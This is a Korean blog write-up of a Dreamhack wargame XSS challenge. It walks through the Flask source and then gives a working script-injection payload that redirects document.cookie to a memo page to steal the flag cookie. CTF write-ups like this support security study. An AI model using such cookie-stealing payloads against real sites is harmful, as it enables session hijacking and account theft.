https://dreamhack.io/wargame/challenges/28/
처음 사이트를 들어가 보면 다음과 같이 나온다.
vuln 페이지에 들어가 보면 인자로 넘겨 준 스크립트가 실행된 것을 볼 수 있다.
memo페이지에서는 param으로 넘겨준 memo 값이 그대로 출력되는 걸 볼 수 있다.
flag 페이지는 다음과 같다.
코드를 살펴 보자!!
memo
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
1. 파라미터로 받은 문자열을 text 변수에 저장
2. 전역 변수 memo_text에 text 값 붙여 넣기
3. render_template 함수를 이용해 memo_text 출력
render_templacte -> HTML을 엔티티코드로 저장 -> xss 발생 불가능
엔티티코드: 특수문자가 코드로 인식되지 않게 함
vuln
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
1. parameter로 받은 param을 그대로 반환
flag
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
1. GET 방식 -> html 반환
2. POST 방식 -> param 변수에 parameter로 받은 param 저장
3. param 변수를 vuln 페이지의 parameter로 주고, 쿠키에 플래그를 저장한 후 URL 접속
익스플로잇
1. 스크립트 태그가 실행되는 vuln 페이지에 xss 코드 삽입 가능
2. flag 페이지를 거쳐 쿠키를 받아와야 함
3. 쿠키를 전역변수 memo_text에 저장한 후 memo 페이지에 출력
flag 페이지에서 <script>location.href = "/memo?memo=".concat(document.cookie)</script> 를 입력해 주고 제출하면 다음과 같이 플래그가 뜨는 걸 볼 수 있다.
'드림핵 워게임' 카테고리의 다른 글
[드림핵/워게임] basic_exploitation_000 (0) | 2023.07.30 |
---|---|
[드림핵/워게임] Return Address Overwrite (0) | 2023.07.30 |
[드림핵/워게임] csrf-2 write-up (0) | 2023.07.19 |
[드림핵/워게임] csrf-1 write-up (0) | 2023.07.19 |
[드림핵/워게임] xss-2 write-up (0) | 2023.07.19 |